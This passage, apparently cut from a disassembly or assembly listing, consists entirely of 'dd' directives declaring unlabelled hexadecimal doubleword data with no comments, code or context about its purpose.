4E526E84h, 0E647BDE3h, 8FAC2CF1h, 0E58E4041h, 3AE1486Eh dd 0DE3D8128h, 5D616781h, 0F0327842h, 25F8623Ch, 27763E01h dd 4677F35Ah, 0E886FDE0h, 0F710C031h, 726DAB93h, 69E85C18h dd 4260ACh, 6624EA2Eh, 0D0E5D961h, 598F4303h, 0C0E127D4h dd 694F180h, 0E0EC6255h, 0E9030805h, 0CEF75D24h, 0CF49E042h dd 0C57DE5h, 7A5E3FDEh, 9D683E59h, 43D64AAh, 0F6EFE177h dd 51080ADh, 75FBF9A2h, 97FA0086h, 1879217Dh, 84310A85h dd 0B1AC18FEh, 135EB870h, 0CE7DDE9Bh, 0C079C878h, 0D2580569h dd 46275E00h, 26AB70EEh, 9F130BF8h, 1A80C780h, 47D4D50Ch dd 8B20C200h, 0FDC58676h, 828E165h, 23102F5Ah, 485A0276h dd 707AEEE5h, 17232F00h, 0D25DCBEFh, 0EAD800CEh, 33958728h dd 75026425h, 0B807FAE8h, 5D888026h, 61864832h, 81FDA8BFh dd 6618387h, 0EA0DD90h, 0D59FE3C1h, 24A7AFAEh, 0B2EBD452h dd 3080E238h, 0DD27B46Bh, 0E54CA56Fh, 0EE00D85Eh, 8A2C954Eh dd 84ECAFh, 0B8B9CADEh, 6BA50B32h, 8998380Ch, 0AA790E9h dd 0F9140A4Fh, 0A01727E4h, 19807991h, 0EE117C25h, 0E865C38h dd 6A9AFCE5h, 0DE968C83h, 0AB9488h, 0E1CFF704h, 8BEB3D7Ah dd 0FD0658B4h, 18C19A80h, 3173FAB8h, 0A0409DFh, 868BC721h dd 2894F5h, 8C11BCh, 1522CE06h, 3378D71Bh, 0F408625Eh dd 0C481CF3Fh, 187E7C4Eh, 4B55886Ch, 7AB2C400h, 7E519182h dd 8869526Fh, 39926C00h, 0C92D2E7Ch, 9CE65B00h, 4B7EA583h dd 0A68C004Ah, 6D12EC23h, 349272DCh, 49B8620Ch, 0B0F6115h dd 86C9367Ch, 0A454C040h, 0A7254D3Fh, 0D6AC264Ah, 2D852D09h dd 8195B8A0h, 8A7048A8h, 68028C7Dh, 0A9988470h, 7DF48074h dd 0C0451181h, 5BE59320h dd 0F81F84D3h, 0C7413137h, 14A13F1h, 59857884h, 6EE0808Fh dd 0AE516008h, 0CCB841E4h, 66C40016h, 45EC3DE9h, 909EC8D5h dd 202A9AF7h, 4670C47Bh, 78C864A1h, 0E71CD8B6h, 0A3B2223Dh dd 0BBC43909h, 0E1223F12h, 502DA505h, 198F8841h, 0D0921136h dd 6AFC070Ch, 98C8C492h, 0D6084FB4h, 0C4590632h, 0B747407Fh dd 79180DBh, 0AE303A5h, 744CCB12h, 0EFBFE91Ch, 0F76CE2C0h dd 14A8D3Ch, 0DCC46561h, 549D3032h, 0DAEC04C0h, 44930A63h dd 764656h, 198C264Bh, 70E79269h, 0B1BF1285h, 8D88214Dh dd 8BE0C6Ch, 42DC3607h, 44310C4h, 4DF00764h, 9D07164Eh dd 0E52AF113h, 3BB8C429h, 0EE83CC47h, 0FEBC8318h, 0E5AF101h dd 95441EF7h, 526ED8h, 66629289h, 75D87086h, 1078094Ch dd 7124E351h, 0B1E907F0h, 1EF6707Dh, 0FA09EC63h, 0A1CE117Fh dd 965E7510h, 623C1469h, 6D025300h, 0CEDC4DE2h, 47FA19C0h dd 1C59E563h, 0C291E8D5h, 0E67C246Fh, 5746FCD8h, 3C07A802h dd 1131B2DCh, 7CBA210h, 673C2F00h, 2182393Dh, 6D7907EDh dd 405CC27Eh, 0E2F91996h, 4C888948h, 402C3F6Ch, 2231787Ah dd 92798FF4h, 89DAC0C8h, 7898CDE3h, 1CEC3EFEh, 0E6DF6003h dd 1052AC03h, 86929BF0h, 997466h, 0AC2BB6B9h, 91C8D72Ch dd 0DB9FFC00h, 543C290Ch, 0A761094Bh, 453836Ah, 0E250D558h dd 4D1E00AAh, 0CE79E9EAh, 0CB280FDCh, 0A509C489h, 342B019h dd 302BCE0h, 60AAF4C1h, 74D017C6h, 35019618h, 0DE992DBFh dd 220FA33h, 835C0CD8h, 0E548CFB1h, 5179B767h, 0B0C18F90h dd 0D16F1D84h, 0AE9D71h, 0E33DAB5Eh, 0F9CFC9FDh, 0E179A025h dd 91861ADCh, 1875D1D4h, 65B00211h, 0BCC43C51h, 0FB03A864h dd 5D61607Bh, 2590C0A1h, 74C90CEh, 0B8AC8183h, 8B93057Fh dd 0C076C8C0h, 4D74CF99h, 45830D25h, 6075C450h, 0FC826F5h dd 0CAA22DDCh, 0F0908269h, 561262DAh, 0C8B22C6Eh, 603277F2h dd 95E58C43h, 0E7CFBCA0h, 36001FBBh, 92DB4FFh, 2D4F8F1Bh dd 0F4970D45h, 2C806C91h, 0CD88E1E5h, 44E38F13h, 0EA10F83Ah dd 0BBBFC051h, 1CBD7E5h, 0D2B8485Eh, 326F4D90h, 58CD2C98h dd 190374Bh, 0B99825C4h, 64518497h, 0C0C003AEh, 249B5C3Dh dd 258B821h, 7BED954Fh, 30E40E61h, 870504ACh, 400B7173h dd 838034DBh, 0F8D7E44Bh, 82183300h, 84F4D832h, 80E95471h dd 7AFD1A75h, 40B7B115h, 45AF6780h, 632668FCh, 0B535D862h dd 2FE73AA8h, 0EAC33E01h, 8CE5175Eh, 0DFC13980h, 44E91F31h dd 3D348F00h, 7AAAA8B5h, 6B7E0127h, 4C4014B4h, 525AD0B8h dd 0CA4D530Ah, 0A20120E2h, 3D193A4Ah, 165580D0h, 8772436h dd 0E1C1B8D8h, 99EDB022h, 0C1889518h, 0A9220039h, 0DCAF743Eh dd 98140599h, 2CD4E5EDh, 0FD031879h, 968E1116h, 0F15E18D9h dd 0E56241FFh, 0FC092402h, 0C157CED0h, 0B5C82520h, 0F8942561h dd 4124E027h, 40ACD4D8h, 9D3872F3h, 5A76F607h, 52C025C1h dd 9758F5DEh, 1283F4B5h, 0E395756Ch, 7187D857h, 94289980h dd 0D00A8E5h, 70B76EDEh, 1624D90Bh, 5B120056h, 3AB0B8E6h dd 0C12CF9ACh, 0A20FDD47h, 0D401D389h, 796B0FE0h, 0B817E2A5h dd 26817691h, 720D37E3h, 44863A6Ch, 6E80005Ch, 9304BBA4h dd 5400CE1Ah, 0EFF1B558h, 0FEFA8DCCh, 8B5A4B80h, 0CE6E8844h dd 411ECD0Eh, 0EBD68C5Dh, 84902358h, 602620Bh, 0A4E95FE0h dd 38002F82h, 0B5DE2A22h, 937F27F7h, 24BCAC48h, 0D0C369C0h dd 6F6A64h, 95395363h, 111F3654h, 19A63A02h, 40DC4F85h dd 28A56D60h, 98A88F5Dh, 8BC9168h, 0C9606C92h, 5CDC3D07h dd 5E0285Ah, 61000737h, 866F233Fh, 1350EEF4h, 0A4985EDBh dd 0FA1905FCh, 0F5686771h, 75444FAh, 786CEA02h, 0EFDAD02Ah dd 510CB292h, 0E0DB60A4h, 60AF4568h, 0D091378Ch, 5DB008B1h dd 0C884D421h, 1176C0Dh, 7AEF97E0h, 0D02318D9h, 90338BA2h dd 2721DE3Bh, 64107B02h, 0E8418BF8h, 48E07C31h, 0F476F324h dd 8C737050h, 2AC45F04h, 1CAC5E7Ch, 0C457B1B0h, 9F8F743Ah dd 7E380BE2h, 0D207F818h, 4E65FD58h, 0A79CCC76h, 0C020CF4Ah dd 0D7AC71h, 510B9E5Bh, 0BA1F06B0h, 4304EB01h, 0E8D99ADEh dd 6F16D980h, 0D7ADFA25h, 40682400h, 57E953FEh, 0FD20C573h dd 2CECC284h, 4451C46Ah, 0E6187479h, 0D0041E4h, 259869D7h dd 448E197Eh, 2B4AF85Eh, 69A78C00h, 7EFCCCC2h, 5E689C75h dd 602E0B46h, 95090066h, 4F06AEC3h, 842E404Ah, 0E5000B23h dd 10F50C96h, 726303BAh, 863AF10Ah, 0B7D2D903h, 0C4FCD546h dd 0C4C040F8h, 0D94CF169h, 5B2BB802h, 402534BCh, 14FAE750h dd 0D4CDEAB6h, 0D50531C0h, 0B0756481h, 0A607100h, 9B0245F2h dd 754D0FE2h, 0D2C62A3Fh, 0F96470AAh, 0FCC8EF39h, 476705B4h dd 0CE2E0233h, 52118438h, 46DEF530h, 0C2FB7802h, 4463A83Ch dd 376C04F8h, 40C76D62h, 5DD5E728h, 50200954h, 0BC224DDFh dd 5C4846E2h, 0E6046CFDh, 3D5ED5FAh, 95D944B5h, 0FEB102F7h dd 579E482Eh, 3691745Eh, 4FC43880h, 8C91567Ch, 0C45058C1h dd 0CE84E0C2h, 88C0F5E8h, 3511EE35h, 0F010FF1Eh, 0DD0486ECh dd 0CB6301F5h, 68CD14CDh, 0B82CE869h, 0F0025BECh, 0B11EE516h dd 56E4CA72h, 76465CB8h, 46EDDE1Fh, 0E8799BF8h, 0C267DF04h dd 4F41644h, 0AB048C4Ch, 0CADCE307h, 6209A338h, 807FC807h dd 0D42A74BEh, 5C663709h, 3C471321h, 0AB827080h, 0F3F4BA16h dd 0C6FD1C08h, 1097F9BCh, 2FF9BA8h, 25C91BAAh, 1CCA98A7h dd 19809839h, 2A0820A0h, 74F04DE3h, 0DE692E25h, 0FB4AC4Ch dd 0D0121949h, 0FBEFDC84h, 9062B740h, 806B7CF8h, 87507CFDh dd 2491E030h, 0E56AA700h, 0B9FC7D5Eh, 0D4503070h, 0BC48755Bh dd 3DC48084h, 7C9DDBFFh, 3AB03C1Fh, 7C352Eh, 0F44CE34Fh dd 8E0195B2h, 9A0A69D1h, 2C338B62h, 0C51EAB1h, 6797000Ah dd 95DE9E4Eh, 474BB80Eh, 0F98FA841h, 4822E7DDh, 6DDA5909h dd 0C4556C30h, 8E7C4C08h, 43886470h, 0F0C38D87h, 9FDCF5D5h dd 0B1B9C810h, 42BDE301h, 39E990C7h, 48201AECh, 14052474h dd 41EAB0Dh, 0FD65EFACh, 94D700A0h, 54E24766h, 0E414019Ah dd 0DCB7FD8Fh, 9659BB8Eh, 2020DB49h, 2DD3AD24h, 28801D2Eh dd 5400FE2h, 5A887660h, 0B42415Bh, 52219832h, 3FDB7423h dd 344EF1AAh, 74E86514h, 7DB584FCh, 8C4000A2h, 649416h dd 0DB685204h, 69C00E97h, 1B59C566h, 58CF0094h, 856B4B43h dd 8124F09Dh, 7300EE4Fh, 46452671h, 95E300FAh, 934B2C4h dd 790E84DBh, 81BB2329h, 785D9FD0h, 0F27FB60h, 5CE0D4E4h dd 0B53E3100h, 14027D76h, 0F7D8CC9Ch, 0C3E58E59h, 0B8924CB2h dd 0D6EA38h, 3C7E34DCh, 5FF785BEh, 0A9840C00h, 256F4BFh dd 87040138h, 0D806D31Bh, 3C0C3C71h, 6E840BB0h, 112C9DADh dd 5D6F8079h, 0EECA58h, 0EB05C316h, 77E0CDF4h, 0F894914Ch dd 33078C73h, 0D1378FF4h, 7C7520A0h, 8879F753h, 0FE007B3Eh dd 33903CB3h, 581E2830h, 0AF40090Bh, 480C6641h, 0EFC640E8h dd 5BB19060h, 7D82DFC4h, 0B4A909E0h, 7481F633h, 43B580D0h dd 7CB86F92h, 40B4650Dh, 2479465Eh, 7D00E0B7h, 4F71D3C0h dd 6A80281Ah, 0A72403B4h, 12229FE3h, 0AEC65CC0h, 48845D04h dd 28D1C9F4h, 0DD107E62h, 0E30CE81Ah, 40737C09h, 0A45852F7h dd 45306EF2h, 40DA00BCh, 3361512Ah, 0B11273DDh, 0F802FDA6h dd 375A80E7h, 0CC749600h dd 8814E1B4h, 5D5FF947h, 907E1803h, 0C78180CDh, 83B82607h dd 0D21745Ch, 11878052h, 5E49563Bh, 11D27C2Dh, 7810C7B0h dd 0BD010907h, 69590EE1h, 0AECD41Ch, 9C1951E8h, 3600B823h dd 8E88A053h, 0DB144092h, 16C018ABh, 0E87B9504h, 69799603h dd 0F812108Ah, 34CB40F7h, 0ABC07988h, 2C7D5342h, 0F901D18h dd 69E425E5h, 0C008F985h, 0FB1541FAh, 67D304E3h, 9490E01Dh dd 9D90330h, 0A14C35E9h, 144F1773h, 683A28C5h, 13007623h dd 6680736Ch, 0A719C05Fh, 740A1ECFh, 9E109100h, 137AEB3Ch dd 928F0B81h, 2C10BDE4h, 400B41F1h, 0C61158F9h, 0AAA90000h dd 0E37C327Ah, 0E95DFACDh, 97DC81B8h, 0C608759h, 88385C7Ah dd 23F43A5Bh, 69560121h, 815A2C7Ah, 5D7328CEh, 0E02D9B5Eh dd 1A683662h, 0F044A08Bh, 0D361B100h, 0D8870EA4h, 923712D5h dd 607C887Ah, 5F980300h, 2F294D64h, 6CE80435h, 0B00BD33Ah dd 3901ACE0h, 652A924h, 0AC3136C9h, 3B0CEFD9h, 0A3AE223Dh dd 9011E9h, 7C226F87h, 60BC625Bh, 0F6FA998Bh, 2900402Eh dd 0DEC00F34h, 1ADA058h, 4A1D121Bh, 20ABAE20h, 0F0964777h dd 48753042h, 0BB67EBC4h, 7154A924h, 0EE29180Dh, 0C0D62EB5h dd 6C02BA54h, 6DEDD3D4h, 0EEE990C8h, 2CB00454h, 330309E8h dd 0E3E4C1B0h, 6DE82963h, 1895D188h, 594A012Dh, 0B7A8C951h dd 5B607D49h, 0F423EC80h, 338B00DDh, 87E1734Eh, 93485598h dd 10020124h, 807AF248h, 0C50B1C32h, 8E47FD5h, 343B7BF1h dd 0CB027923h, 5ADCD865h, 0F8AD00A4h, 4C6DBCB7h, 172F4B5Fh dd 37C010DEh, 670A0057h, 3C294415h, 81044A45h, 493F48DDh dd 0D604E4F8h, 0A868FE25h, 0C0470BEh, 8101B598h, 0D41FF0ADh dd 0D8E4A97Fh, 8651EAh, 0C8DB3F49h, 398B9560h, 0C1E4B84Ch dd 0FBDE0C0Fh, 0FCDD80DBh, 530D5C82h, 56A41819h, 62DAC0E1h dd 0FFD43409h, 1C2CB740h, 7A944015h, 51998D2h, 5DA3D8C1h dd 298F6066h, 8FA76B5Fh, 977CD0EAh, 3E7B73BEh, 2B0D558h dd 37E90AB7h, 426C71FEh, 730BFDBEh, 8D5378A8h, 23641F98h dd 38F4EF19h, 4F3800C0h, 90886C1h, 0FF0128D0h, 0D164AADDh dd 0D6D00EE9h, 4BD8AAC8h, 4048985Ch, 29F0B19Eh, 0D99886CCh dd 423F189Bh, 44CA4AE3h, 3234007Eh, 29756CEBh, 360451A3h dd 7E55C8BAh, 4E32CD1h, 8070226Fh, 952F80FBh, 80229128h dd 69F923D3h, 0B1BA095Ah, 507168F8h, 2FB76E01h, 1028B485h dd 0AC2235C3h, 0A07979DAh, 226DBD60h, 0AB630082h, 2526A1BBh dd 0D70BEFBCh, 45596E84h, 606EC42Ch, 265BDF9h, 22379178h dd 70565416h, 88B06D43h, 53EBD26h, 0F66797E0h, 0E820BC77h dd 4C0B8C90h, 95EC617h, 8EC59F1h, 0EF8C4745h, 7CA819CCh dd 372F0001h, 7089535Eh, 4A7DCF2Eh, 905A6312h, 42C788B0h dd 0C6661397h, 2E486491h, 258FAE4h, 0C383165Ch, 40792B82h dd 85107E1Ch, 72619F51h, 0C582FC44h, 995C6C30h, 19287190h dd 2DA6D0h, 8ECFEFE8h, 0FA898594h, 0C5D80B95h, 6179C460h dd 0E060319Ch, 0B6287DEDh, 18E77454h, 2248983Fh, 0EB097444h dd 0AAE80660h, 0FD76EC60h, 9903AD18h, 7C5E8779h, 0E57119E4h dd 0F40FC186h, 0E949CAEBh, 935810A4h, 0CFCE512h, 75D025F0h dd 0A6DCEA01h, 1E0B7FDh, 0E4EF6192h, 6D985468h, 3E77A3Dh dd 1DE8D6FFh, 4ECAD3BCh, 0B1748720h, 2AC2197Ch, 98DE4C0Ah dd 4B79508h, 88BDBC4Fh, 7D39B330h, 8E0B0012h, 50683186h dd 0F1133921h, 0F462B612h, 8B07FECh, 6123C420h, 480C4087h dd 4043A04h, 0B880FCD8h, 0C0C37008h, 98886268h, 0A29559C0h dd 0C1F1C19Ch, 9C207584h, 76FF0016h, 0F8879218h, 28C090FBh dd 24B90CF1h, 0F1D160DCh, 0CD11E4F9h, 0D51D5300h, 7867EABCh dd 491010Dh, 0D2811C23h, 9CA8A860h, 90B28F44h, 35E92064h dd 0B1802405h, 88FC54F1h, 68C76ECh, 0D9825D33h, 9D019996h dd 64AD318Dh, 21C48ACDh, 3BE6F0E1h, 0F7070FF1h, 62E0D655h dd 888922AFh, 0E5706CDBh, 9260F56h, 3125CA6Ah, 6CA3C6h dd 0F29625FFh, 753A13D2h, 98C613D4h, 67280884h, 9009E38Bh dd 0E407DC48h, 690C07Dh, 87FD30CEh, 0E116609Ch, 0C5DE8E0h dd 0A270482Ch, 4F7F7818h, 0A59F242Dh, 0B0E94450h, 51008DACh dd 32A5754Eh, 39281AC9h, 7B25B2E0h, 2F9CACC0h, 9E79D8B9h dd 35007518h, 0B04BF8DFh, 18F14AA0h, 0F16131E5h, 6C99D25Eh dd 2090C284h, 8D8F2D04h, 0E42B3AF4h, 0B3007323h, 0B78AEE8Bh dd 4F3409F3h, 54549113h, 84F6AF40h, 44F093h, 2CBB7A6Bh dd 46DC7E77h, 68C4B626h, 12A02340h, 48140309h, 0CAC9DF15h dd 117B2DD8h, 8A84E700h, 105E0A0Dh, 0D4F45448h, 6F5CA747h dd 84978ED1h, 38C1033Ch, 69008A44h, 3F2DEC32h, 8FC1D76h dd 67605278h, 6FE3A7BFh, 248ED90Ah, 0FCEBDC84h, 8C7FB8A8h dd 37BB2712h, 40A4FB17h, 0B71400F0h, 0EF2363BDh, 0BE00D5F1h dd 1EA926Ch, 22E0B4ADh, 0CB0086BCh, 3097E1DDh, 1A99463h dd 9872E53Ah, 0C078338Fh, 825ECB6Ah, 0C1B8D882h, 3910FC1Ch dd 2025C0FEh, 4728C010h, 681C21Dh, 6466B748h, 7CDC9E4Dh dd 8C92E276h, 8537B339h, 2E197422h, 1A206F86h, 38766D30h dd 11F6E466h, 0DFC93300h, 57A15A3Ah, 0F15D00E9h, 3B355B38h dd 184F31FDh, 225ACC0h, 89876F63h, 9CFFF802h, 98F6D710h dd 0E0CE0BA8h, 0F4918ADFh, 86000B4Fh, 2AEB03F4h, 45017262h dd 57DD2EBFh, 3708B520h, 265CC744h, 8E14299Bh, 50698846h dd 7F913C1Fh, 0D8ACA180h, 110FFACDh, 0CC90326Fh, 0EA76B09Dh dd 0DCC5442Ah, 8C430F12h, 7E0A4C42h, 0E14CC308h, 426B917Fh dd 5CC4E520h, 0D1EFECE5h, 0B6B37587h, 7F276863h, 733C6C86h dd 0AA3E00D8h, 9EF701A7h, 8D015BD3h, 0D505FE46h, 0B2B367Fh dd 0A8027834h, 0E3021E19h, 1D5C7A32h, 9D817E25h, 1C48B8EAh dd 0A7E9C030h, 0FB039E62h, 0DFB808C8h, 0B2990119h, 7E27DE3Ah dd 1B44D03Bh, 9D09860Bh, 68298A3Dh, 5001A02Bh, 410637D6h dd 4AB0483Ch, 0CB00DBB8h, 407782E3h, 0B1363Ch, 0C7254D80h dd 0F4277BD7h, 43E2C200h, 3416D3D4h, 0BC9D9F69h, 0F4807891h dd 0B6817CAAh, 32E04E90h, 7D2E4818h, 184FB2F0h, 6003C41Ah dd 0C04D07FAh, 405D2538h, 0B2B28148h, 856610DCh, 0C6C3E47h dd 18748A69h, 3B510B0Ch, 589439CEh, 0FA800AE8h, 0ADC12D97h dd 680C2CCAh, 89426D18h, 9692B810h, 482744B3h, 0E465CC89h dd 5809B84Ah, 5AFC346Ah, 71EC6B59h, 924DFD25h, 79A07980h dd 4DA1878h, 2EE3A6FAh, 34BD4A0Ch, 3C4A1900h, 0D7B1C4h dd 5B27CFD1h, 0CEF5DD64h, 1C7F7700h, 794D582Fh, 20EA4AD4h dd 0A140F00h, 0DEEC7841h, 5251C917h, 9FE47465h, 0E32F1761h dd 330262E0h, 81F7980Ch, 30B8F98Dh, 0B26170DCh, 0FA39E55Dh dd 1880A47Fh, 1B890485h, 0E2EB08Ch, 0A739E119h, 737F420h dd 1A1FD380h, 5C844A9Eh, 1890BF66h, 0DD7ECAh, 1BEE5E1Fh dd 9D9A1A03h, 0F9704600h, 1D1082FFh, 2770067h, 0E8656DE3h dd 0CE00A772h, 70B938AAh, 77936D0h, 0D16EC05Fh, 1818CF26h dd 0C8055110h, 864B7868h, 6B0206Dh, 67A51D41h, 52B8E274h dd 3DEADD60h, 3AC2E42Ah, 0FCC61Ch, 0E76C37C1h, 0DF17232h dd 0A4B47B02h, 94E271FEh, 804A6120h, 46F035Bh, 0E251420h dd 14883735h, 0FF10C006h, 0E6009C28h, 24B127BEh, 5C7FC2h dd 0E11EA936h, 0DCE25022h dd 81834ABh, 0D4C063A2h, 0C880AD86h, 0E8F47CA0h, 0C500CE79h dd 0D3E19615h, 4B361DB6h, 0C4DCE20Fh, 0ED00617Eh, 868DF2E1h dd 0C603BC00h, 0C6F6E81h, 0F0774CA2h, 53A98303h, 0ED9BE602h dd 0C5DF2911h, 11A79F11h, 0D028C217h, 14FB5028h, 0BBA54468h dd 14C11084h, 0AEB71191h, 21A3E511h, 0B639040Fh, 0AD130492h dd 44F10644h, 2844C353h, 51AF4CB8h, 754C5C79h, 2D118F07h dd 63B47137h, 0BCD40F5h, 43726F09h, 8FD6713Ah, 0A0E711C8h dd 2A94E9Ah, 2280002Ch, 4F726442h, 0C30092EBh, 5C0A6B33h dd 0B7E4CAh, 6026227Dh, 27178EBAh, 821AEB3Ch, 83849B6Bh dd 0AFDDC065h, 0A9100F0h, 50B669D8h, 0C100611Dh, 0DC4AAB72h dd 2329FDh, 670C1A32h, 5B5EB1DFh, 0D1F0AC00h, 5436924Ah dd 0EF72007Bh, 17761EC2h, 4D00875Ah, 0B4836258h, 0F19A8B5h dd 4C6F5710h, 0C05A1587h, 65B156C7h, 0F8C3C000h, 7631093Ah dd 117000A6h, 86A51CD2h, 0F7009B3Ch, 0B63B4D1Bh, 34C6C7h dd 27B7C5E2h, 8819D76Ah, 6A545230h, 3E99CE6h, 7BDBF1C2h dd 11F26DB6h, 6EB0805Dh, 0F2839B8Bh, 48FB000Ah, 2F77AFADh dd 0E00A30Dh, 56243DE0h, 9783659h, 7B0B8CC6h, 64C3D281h dd 0AAE0DC62h, 0C0188B14h, 0A8660090h, 4FEFFE86h, 0BED0090h dd 4AAF52D0h, 0C700079Ah, 0EE789CCAh, 2060ABh, 2B83B8A8h dd 0CC7529B6h, 8E0A34Ah, 218600CFh, 78D994D6h, 9501A1C2h dd 1C41A8BEh, 0CAD48460h, 0BF6A3FACh, 0AE291D07h, 38B7700Bh dd 8600C6E2h, 90DF164Dh, 604363F6h, 3D547884h, 3C1F12ABh dd 1ED3CCB7h, 0E23093ECh, 0F0D74930h, 6C92B12Ch, 778BC680h dd 0AA7B9Ch, 0BEF6B41Ah, 0D979767Ch, 8E42D201h, 0F5387DCEh dd 5C7BD1F0h, 3600A98Bh, 0EF772120h, 4C007EE0h, 15C74BA4h dd 79EE9C54h, 0EA017BC1h, 0EACA007Dh, 2C1FD283h, 18C04B79h dd 0A9E4ADE5h, 0C1FD00B9h, 0BA0C1535h, 0E100063Eh, 0CFB088F9h dd 13DCDFh, 16C604B4h, 0B13E7768h, 67647300h, 0FD127A4Fh dd 1E360763h, 2FF6A9D7h, 0FB72A840h, 0DC008BEAh, 67632A93h dd 1EA356DAh, 41F4B2h, 49F1BC39h, 0D8288AAEh, 0F617B02Ch dd 0C000B350h, 4A473C02h, 9D250077h, 0F33AEE8Bh, 502EDC13h dd 220FBA99h, 272B008Ah, 0A684ACh, 0DCD9031Dh, 0DE73F074h dd 6052E800h, 7A9F49F2h, 7E9C009Eh, 6D91FB4Ah, 0FF1D2138h dd 4F00F859h, 78EBEB3h, 39D2FE8Ah, 81006180h, 0DF9CDC42h dd 950F74CEh, 0E21EF52Eh, 0D0BD0D26h, 96F00034h, 7D63FEFDh dd 41E0BB49h, 4F69D700h, 0D34DABE3h, 753B035Fh, 7AF4DC45h dd 0BA072ED0h, 47A65E03h, 0E8B6368Ch, 384F33CEh, 4CF6D7FFh dd 78001450h, 4122311Fh, 0BE0067DDh, 92BBFAFCh, 8015DBh dd 3D450C19h, 0E3B11BA4h, 2BABEC04h, 209C8BCAh, 24A33C5Fh dd 5175BA81h, 20146EDAh, 293A4ED0h, 0E171800Dh, 1363923Ch dd 73F63856h, 0E113D00h, 7D9B3FCDh, 8E50723Eh, 0F95DB3h dd 651B857Ah, 0A920052h, 0E43F6FB9h, 0F724D819h, 5B0B70BFh dd 5DA4A04Eh, 3E4A3C76h, 0B705C9D4h, 4FBCF767h, 0EFC0EA64h dd 8E6F7A6Bh, 0F5CCC707h, 0A3E071FDh, 3A9258Bh, 2DD077ABh dd 7AA8C030h, 0E400C3E9h, 4253CB9Fh, 0FFC6B4h, 861C4E6Bh dd 1AEAF497h, 52364A02h, 43B08C40h, 0C0FDCB28h, 39ED5796h dd 2A0FD431h, 6B20339Ch, 0DDA9D279h, 0A3219400h, 17E3348Ah dd 4806F0A0h, 1B003480h, 0F787F9DEh, 0EF543C08h, 0FA018FE0h dd 0A58E9D4Ch, 3BC622h, 0F0AF15Ch, 4A013D2Ch, 2E80CAB1h dd 7AF0EF4Ch, 5B3A0097h, 619070B8h, 0C70148AAh, 0C1833C1Bh dd 17F803E0h, 50CB2CD9h, 69A8034h, 59B7560h, 2EE93D0Fh dd 0DF88E13Ch, 0A0F4C61Ah, 78A40E39h, 0AF6079D6h, 33F16A05h dd 45B0CB07h, 87F0408Dh, 6059FBC4h, 949AB94Ch, 0F900AA79h dd 0A124054Ah, 0A8EB43h, 0C3E6FD0h, 226A51BEh, 5C03067Eh dd 52660227h, 217C0739h, 0F1EC3765h, 0C028AE04h, 0B3013BB8h dd 0E74E589Bh, 0AAE0733Eh, 0B9DF01CBh, 5E3A7DB1h, 57A4E4EDh dd 0B3F99A1Dh, 425228C0h, 75F50746h, 0AA830075h, 3FB8505Eh dd 144C3627h, 0EE0F80BCh, 0CC6E5Ch, 0FD6871CFh, 770723F0h dd 0A4756F00h, 55D415D9h, 85F22A95h, 0ED3101C0h, 8A797159h dd 6FF3F072h, 80321338h, 4A73819Dh, 38D02EF8h, 0BB870B9Eh dd 0D03DFC5Bh, 0D718C321h, 0D8B1103h, 0F052AA73h, 40351746h dd 0DC78A998h, 0EA89CB00h, 0B057438Dh, 8653120Ah, 0CD6000FAh dd 0CE659597h, 8029843Eh, 62A6E030h, 48EB767Bh, 0CF0244B2h dd 0E4C0B043h, 875EFC60h, 28805Ch, 0CC8A2A0h, 2C0EB4ADh dd 3F4930h, 5B662DF0h, 311EAB1Eh, 84034050h, 0E8C0862Ah dd 0A2D201h, 99D6D7BBh, 6678F5C7h, 4D7B4F00h, 0DB20FB38h dd 115800B2h, 0B3C76CB0h, 1909783Fh, 0DEA263h, 3B01FCA9h dd 1DB500BFh, 46880934h, 409F306Ah, 0DA6DA1h, 7BF9C39Dh dd 8D118EA9h, 0ED710B00h, 5B73D862h, 5A215816h, 941F0075h dd 0E9A0B5F8h, 0D50B3401h, 0E1A05CBh, 0CD9D01A8h, 0EF4A4BEh dd 26910056h, 0C7B7D481h, 7A7E6C94h, 614CFCE7h, 9563800h dd 70C89001h, 0A323009Eh, 75807B98h, 0E97F6C5Ah, 7EEBEE14h dd 0B7A000A0h, 0C53D764Ch, 4BD3BE3h, 689EE081h, 0D4ADAC90h dd 0CA0778ECh, 4AC45F16h, 0BBE532C1h, 1FBC3CE4h, 0D5790Dh dd 18AD1F74h, 0CF7DA5C8h, 33D70C00h, 0E2C2ABAEh, 0CE8201D3h dd 0A1470D9Ah, 5AB8CB07h, 2AFEB5D4h, 804DB30Fh, 506E4152h dd 0E8DF0DA2h, 0B8C49091h, 0A3290037h, 38751594h, 0C00EEC2h dd 9B91BF3Eh, 652232h, 2EFEDF5Fh, 9D93F65Dh, 4DB28D00h dd 0B4743592h, 305916FAh, 0FA06FFAEh, 7217362h, 0F7630544h dd 508120B9h, 0D500B810h, 0D8D2286h, 0E83A82C4h, 58802D8Fh dd 0EC36000h, 0E700C7D3h, 388DE0D4h, 0E806E1h, 9971C194h dd 0D132A328h, 0E534A200h, 36A0FBA4h, 92420049h, 29EBCEF5h dd 89007E9Dh, 0BD5A1EB7h, 39FC463Bh, 709859h, 8206A997h dd 0CF04F688h, 0BC0AEC00h, 0D73F60CAh, 2B5D031Dh, 0C9CD74BAh dd 0B842BBC0h, 4FD6BAC0h, 3B3FA1CBh, 0A880477Bh, 22A0D18Fh dd 0D011368h, 9CD77802h, 80F82DA5h, 60930038h, 4EDEFDB6h dd 2303C32Ah, 62B18F99h, 0F0A4D878h, 7B07A02h, 0FE2EA779h dd 0F41A50BDh, 52F0F63Dh, 0A6454D01h, 0D7E6873h, 2CD8C6CDh dd 0FAF900BCh, 40CA2D38h, 63008548h, 3F47D854h, 39AEE6Bh dd 65A429B3h, 0EF8F840Ch, 0D1512163h, 388F8F5h, 6D9CAEA5h dd 0B18CCB40h, 0D43422B4h, 66A30761h, 0D07B4CFFh, 0FAE4CEB5h dd 0F289F07h, 873294C0h, 730580Bh, 0C6E167B8h, 9A61E272h dd 3AE53C60h, 1C80183Bh, 0EF40AF70h, 0CD638C85h, 0AEF84Dh dd 0FCC3E4C9h, 361D3D2Bh, 1A3D3AB8h, 0B50980A1h, 0C82FB1F9h dd 61B6004Fh, 0F8071C8Fh, 6F782759h, 0E7D2D600h, 129A5A17h dd 865E0765h, 0D5752995h, 613CB00Ah, 8802214Ah, 6083E5A3h dd 737B064h, 0DB12F3C3h, 184180C7h, 0E600DD0Dh, 6B63794Ch dd 1D55CF6Ah, 0C048C98Bh, 4AD0D51Bh, 30C0686Ch, 0EC086201h dd 67BA0097h, 6DB5D707h, 0E0958C92h, 3B805044h, 5C897E9Bh dd 0B080F9F8h, 3EDFF17Ch, 0C5171800h, 3964D46Ch, 5E90009Ah dd 0F49D9427h, 58004D65h, 0C19319BCh, 